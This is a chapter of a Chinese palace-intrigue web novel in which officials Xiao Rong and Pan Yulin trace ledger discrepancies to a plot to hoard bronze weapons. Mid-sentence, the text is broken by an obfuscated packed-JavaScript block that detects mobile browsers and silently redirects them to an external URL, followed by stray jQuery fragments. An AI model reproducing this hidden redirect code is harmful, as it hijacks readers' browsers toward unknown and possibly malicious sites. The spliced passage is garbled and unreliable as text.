8. 一叶障目
作品:《揽日照山河》 暮色如墨,潘玉麟闪身钻入城南一家不起眼的茶肆。檐角褪色的招幌在朔风中猎猎作响。她压了压斗笠,指节在柜台上叩出三长两短的暗号。
柜后老者眼皮未抬,手中算珠却陡然一滞,“客官要什么茶?”
“青柑普洱,”潘玉麟指尖蘸了茶水,在台面飞速写下一个“查”字,“要今年新采的。”
老者浑浊的眼珠倏地精光迸射,袖中铜铃轻摇,后厨帘幕随即掀开一道缝隙。
两名蒙面人无声无息贴近潘玉麟,她将萧荣亲笔密令塞入其中一人掌心,低声道:“查清西遥城所有夹金纸的源头,尤其是近两月从岭南流入的,子时前务必回禀。”
蒙面人颔首,身影如烟消散于街角。
天香阁飞檐之上,戚夜阑轻拢袖角,指尖捻着千里镜,镜中蒙面人鬼魅般穿梭于街巷,所过之处惊起零星犬吠。
“这阵仗,不知是虚张声势还是真有两把刷子。”她朱唇轻启。
廊柱阴影中,杨恕云焦躁地踱步,“萧荣的手下好像来头不小哇,身手和组织都不像寻常暗卫。”
萧荣放下千里镜,伸手轻抚杨恕云的脸,“你担心了?”
“我……我只是怕她背后有人……”
“怕什么,不管她背后有什么人,黎国国法只认罪不认人。我们的贵客明日一早便到,不管萧荣吐出什么象牙,我都能让她咬碎了吞进肚子里去!”
她的手从杨恕云脸侧滑落,指尖抵上腰间的剑鞘,笔直抽出寒刃,月光映着二人的脸。杨恕云瞥见自己脸上浮现出不同于白日在人前那般狠厉,与身旁运筹帷幄的戚夜阑相比倒显得有些怯懦,便不自觉地向她靠了靠。
戌时末,潘玉麟将算盘重重一推,珠串噼啪撞在檀木框上。
“每日百车货物,新簿竟比旧簿少装四十万余升!杨恕云这老贼,当真以为我们算不出这窟窿?”
萧荣指尖仍停在纸页上,墨迹被烛火映得忽明忽暗:“你瞧这装珠宝的盒子,新簿均比旧簿多记了两百余盒。“她将两本簿册并置案头,“可一盒珠宝按六升,两百盒不过一千二百升——“狼毫蘸朱砂,在宣纸上勾出两道红痕,“而陶器少装八箱,每箱三百升,这缺口……”
“八百万升!”潘玉麟倒抽一口冷气,掌心按在漆柱裂纹处,“他们用珠宝充数,遮掩陶器短少的空缺!可为何要省去这般庞大的数目?难道是驿卒偷懒?”
萧荣忽将两册扉页叠在灯下,薄如蝉翼的夹金纸透出诡异光晕:“你再细看这字距。”朱笔尖戳向新簿册松散的列距,“旧簿每页录五车货物,新簿不过三车,标注更多,字距也不一……”
她两指掐住册脊一捻,新旧两册厚度竟分毫不差,“这般处心积虑,不就是为了掩人耳目。”
潘玉麟突然直起身,手指重重戳在账簿缺口处:“萧大人是说,省去的这些空间,实际上是在偷运铜器?”
“不错。”萧荣颔首,笔尖在“四十万升”上轻轻一点。
“这可不是一个小数目,能藏到哪里?”
萧荣抬眼,眸色如淬冰的刀,“二十四城都是我们的眼线,这十多日没有打探到任何风声,要么是这铜器不在二十四城,要么……除了杨戚二人,无人再知道这铜器的下落。”
“那便只能直接提审了!”
“这二人是迟早要审的,但我心中始终有疑。”
“哦?”
“这杨戚二人大费周章将铜器运入官道,我在想,他们为何不从土路直接运来。”
“土路不是有匪寇么?这么大的数目恐怕花了不少银两,走官道虽然麻烦,毕竟保险。”
萧荣摇摇头,“那是对于北上的商户来说,这铜货八成是自西北方向运来的,黎国流匪多集中在岭北至千里赤地,自端州到二十四城以北要少得多,从这里过来,未必就比走官道危险……”她思路陡然一转。“除非……”
二人目光猝然相撞,几乎异口同声道:“他们想把铜器藏在二十四城!”
潘玉麟不由得打了个寒战,镇北军和攻北军所使用的兵器,朝廷那里均有记录,但眼下他们竟敢私藏禁物,不免让人怀疑这杨家有造反之意。
联想到粮草北上,萧荣缓声道:“讨要粮草,窝藏兵器,这杨家之心昭然若揭啊!”
“所以表面上是这杨恕云和戚夜阑在算计,背后可能有整个杨家帮衬,他们今日对你的所作所为,搞不好是一早就设计好的局,你可千万小心啊!”潘玉麟攥住萧荣的衣袖,忧心忡忡。
萧荣心底是有些暗自生怯的,但她怕的并不是杨戚二人如何算计她,哪怕是要置她于死地,她都坚信自己有回天之力。她怕的是自己不能撕开杨恕云的伪装,让杨家暴露咽喉,白白让数百名紫夜暗卫陪着自己在此地潜伏半月,也辜负了太上皇的信任。
所以,接下来的每一步她都要斟酌审慎。
“你莫要太挂心,只要做好你分内的事便好。”她轻轻推开窗子,周遭已静得针落可闻,“你去休息吧,我还要等暗卫回信。”
“不,我留下来守着你。”潘玉麟提起佩刀在地上重重一锤。
这姑娘刚过及笄之年,家世很好,爹在朝中是二品武官,可她身上却没半点骄矜劲儿。萧荣见她果敢有魄力,就想到了几年前的自己,一时有些心疼,本欲推脱,却瞧她娇憨的脸上颇有些倔强,留下了陪着自己倒也不错,抬头看看还能解乏,便应允了。
不多时,三更梆子敲碎沉静,萧荣仍在伏案疾笔整理爰书,烛火将她的侧影投在斑驳砖墙上,忽明忽暗。
潘玉麟抱刀倚柱,眼皮刚沉下三分,便被一阵急促的“笃笃”声惊醒。
“是信鸽!”她跃上窗台,一只灰羽鸽正用喙轻啄棂格,爪上绑着细竹筒。拆开信笺,便见两排密密麻麻的小字。
“大人请看。”潘玉麟将信纸递上,“暗卫查到,知府府衙上半年从岭南购入夹金纸一千张,规格两尺乘三尺。”
萧荣指尖抚过纸面,眸光骤亮:“一张夹金纸若裁成簿册用纸,约莫可切三张。一千张原纸,正好是三千张簿页。”她倏然起身,案头簿册被风
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152301|164879||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
掀得哗啦作响。
潘玉麟忙阖上窗门:“新誊的二十本簿册,满打满算一千页也够了,大概用去三百三十三张夹金纸,那应该剩下六百余张。我们拿着这个数去找杨恕云对峙,看他怎么解释!”
萧荣瞧着这两行字地下还有些黑晕,将信笺凑近烛火,一行蝇头小楷在火焰中显形:“刑部侍郎沈昭已至东城,协审驿道案。”
“驿道案不是已经水落石出了吗?难道是太上皇派来协审铜器案的?”潘玉麟喃喃道。
萧荣若有所思地摇摇头。
目前铜器一案只有太上皇知晓,就算与皇帝通过气,朝堂官员背后势力错综复杂,太上皇也是不会用这些人的。
“此人多半是冲我来的。”萧荣目光笃定,眼底映出烛光。
“那怎么办,我去让人把他拦在半路!明日咱们先审杨戚二人,再看看他们葫芦里卖的什么药!”
萧荣见她又有些急性子了,便扶住她的肩膀,盯着她的眼道:“莫要急着对付他,玉麟你记住,我们的谋略是将计就计,不管他们做出什么动作,我们只静观其变。他们做的越多,就越有可能露出破绽。等待时机成熟再下手,才可一网打尽。”
潘玉麟耐下性子,似懂非懂地点点头。
午夜时分,宫泽尘辗转反侧,夜不能寐,便起身来到院中。
货物箱层层叠叠垒成黑黢黢的兽脊,草绳捆扎的棱角在风里磨出呜咽。明日卯时商队便要启程,汪顺特意将他的行囊塞在最末一辆马车,若是后悔了,随时能掉头回岭南。
他抬手挡住月光,又缓缓张开五指,似是偷窥那皎洁的月。
风越大,那轮明月似乎就越亮。
白日里萧荣俯睨时那玩味的神色在他脑中挥之不去,那般疏离难以捉摸的感觉一直笼罩在他的心头。
“她现在在做什么?”宫泽尘喃喃自语,眼前浮现起萧荣也因狂风大作而难以入眠,独立中庭的画面,竟痴痴笑起来。
但很快,那画面便被前一晚的噩梦吞噬。
“她应该是看到了我递的信,她会相信我的话吧。”他心头突然打起了鼓。
云啼在厩中焦躁地刨着蹄子,宫泽尘鬼使神差解开缰绳。白马亲昵地蹭他掌心,鬃毛间还沾着前日萧荣喂的盐粒。
他正欲翻身上马,汪顺幽灵似的从货箱后转出来,手里拎着半壶烧刀子。
“三公子这是要当夜游神?”
宫泽尘勒缰的手一紧,云啼不满地打了个响鼻。他望着城北那点飘摇的灯火,喉头滚了滚:“汪叔,会有人明知前头是刀山火海,偏要往里跳吗?”
“那定是瞧见了比命更金贵的东西。”汪顺仰头灌了口酒,浑浊的眼珠映着少年绷直的脊梁。
“比命更金贵的东西……”宫泽尘反复琢磨这几个字。
汪顺虽酩酊大醉,脑子却清楚得很,看宫泽尘这架势便知他又想往外跑。
“这天都这么晚了,别在外面闲逛了,省的招上风寒,有什么事明天再说。”汪顺拽进他的衣袖往屋里拖。